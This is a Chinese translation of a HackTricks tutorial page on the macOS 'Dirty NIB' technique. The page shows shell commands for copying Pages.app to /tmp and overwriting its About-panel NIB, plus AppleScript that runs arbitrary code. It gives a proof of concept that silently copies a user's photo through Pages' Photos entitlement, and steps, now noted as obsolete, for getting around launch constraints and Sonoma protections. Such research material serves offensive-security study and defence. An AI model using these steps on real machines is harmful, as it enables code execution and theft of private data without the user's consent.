hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md

7.9 KiB
Raw Blame History

macOS Dirty NIB

零基础学习AWS黑客技术直至成为专家 htARTE (HackTricks AWS Red Team Expert)

支持HackTricks的其他方式

此技术摘自帖子 https://blog.xpnsec.com/dirtynib/

基本信息

NIB文件在苹果的开发生态系统中用于定义用户界面UI元素及其在应用程序中的交互。这些文件是使用Interface Builder工具创建的包含序列化对象如窗口、按钮和文本字段这些对象在运行时加载以展示设计的UI。尽管NIB文件仍在使用中苹果已经开始推荐使用Storyboards来更直观地表示应用程序的UI流程。

{% hint style="danger" %} 此外,NIB文件也可以用来运行任意命令如果应用中的NIB文件被修改Gatekeeper仍然允许执行该应用,因此它们可以用来在应用程序内运行任意命令。 {% endhint %}

Dirty NIB注入

首先我们需要创建一个新的NIB文件我们将使用XCode来完成大部分构建工作。我们开始通过向界面添加一个对象并将类设置为NSAppleScript

对于该对象,我们需要设置初始的source属性,我们可以使用用户定义的运行时属性来完成:

这样就建立了我们的代码执行小工具,它将在请求时运行AppleScript。为了实际触发AppleScript的执行我们现在只添加一个按钮当然你可以在这方面发挥创意;)。按钮将绑定到我们刚刚创建的Apple Script对象,并将调用executeAndReturnError:选择器

为了测试我们将只使用Apple Script代码

set theDialogText to "PWND"
display dialog theDialogText

如果我们在XCode调试器中运行这个并点击按钮

有了从NIB执行任意AppleScript代码的能力我们接下来需要一个目标。让我们选择Pages作为我们的初始演示目标这当然是一个苹果应用程序理论上不应该被我们修改。

我们将首先将应用程序复制到/tmp/目录:

cp -a -X /Applications/Pages.app /tmp/

然后我们将启动应用程序以避免任何Gatekeeper问题并允许内容被缓存

open -W -g -j /Applications/Pages.app

在第一次启动并终止应用程序后我们需要用我们的DirtyNIB文件覆盖一个现有的NIB文件。为了演示目的我们将覆盖关于面板NIB这样我们可以控制执行过程

cp /tmp/Dirty.nib /tmp/Pages.app/Contents/Resources/Base.lproj/TMAAboutPanel.nib

一旦我们覆盖了nib我们可以通过选择About菜单项来触发执行:

如果我们更仔细地观察Pages我们会发现它有一个私有权限允许访问用户的Photos

因此,我们可以通过修改我们的AppleScript来窃取用户的照片而不提示用户来测试我们的POC

{% code overflow="wrap" %}

use framework "Cocoa"
use framework "Foundation"

set grabbed to current application's NSData's dataWithContentsOfFile:"/Users/xpn/Pictures/Photos Library.photoslibrary/originals/6/68CD9A98-E591-4D39-B038-E1B3F982C902.gif"

grabbed's writeToFile:"/Users/xpn/Library/Containers/com.apple.iWork.Pages/Data/wtf.gif" atomically:1

{% endcode %}

{% hint style="danger" %} 恶意 .xib 文件执行任意代码示例。 {% endhint %}

创建你自己的 DirtyNIB

启动限制

它们基本上阻止在预期位置之外执行应用程序,所以如果你将受到启动限制保护的应用程序复制到 /tmp,你将无法执行它。
在这篇文章中找到更多信息

然而,解析文件 /System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/StaticTrustCache.img4 时,你仍然可以找到没有受到启动限制保护的应用程序,因此你仍然可以注入 NIB 文件到那些任意位置(查看前面的链接学习如何找到这些应用程序)。

额外保护

从 macOS Somona 开始,有一些保护措施防止在应用程序内部写入。然而,如果在运行你复制的二进制文件之前,你更改了 Contents 文件夹的名称,仍然可以绕过这个保护:

  1. CarPlay Simulator.app 的副本复制到 /tmp/
  2. 重命名 /tmp/Carplay Simulator.app/Contents/tmp/CarPlay Simulator.app/NotCon
  3. 启动二进制文件 /tmp/CarPlay Simulator.app/NotCon/MacOS/CarPlay Simulator 以在 Gatekeeper 中缓存
  4. 用我们的 Dirty.nib 文件覆盖 NotCon/Resources/Base.lproj/MainMenu.nib
  5. 重命名为 /tmp/CarPlay Simulator.app/Contents
  6. 再次启动 CarPlay Simulator.app

{% hint style="success" %} 看起来这已经不再可能,因为 macOS 阻止修改 应用程序包内的文件。
所以,在执行应用程序以使用 Gatekeeper 缓存之后,你将无法修改包。
如果你更改了 Contents 目录的名称为 NotCon(如在漏洞中所示),然后执行应用程序的主二进制文件以使用 Gatekeeper 缓存,它将触发错误并不会执行。 {% endhint %}

从零开始学习 AWS 黑客攻击直到成为专家,通过 htARTE (HackTricks AWS 红队专家)

支持 HackTricks 的其他方式: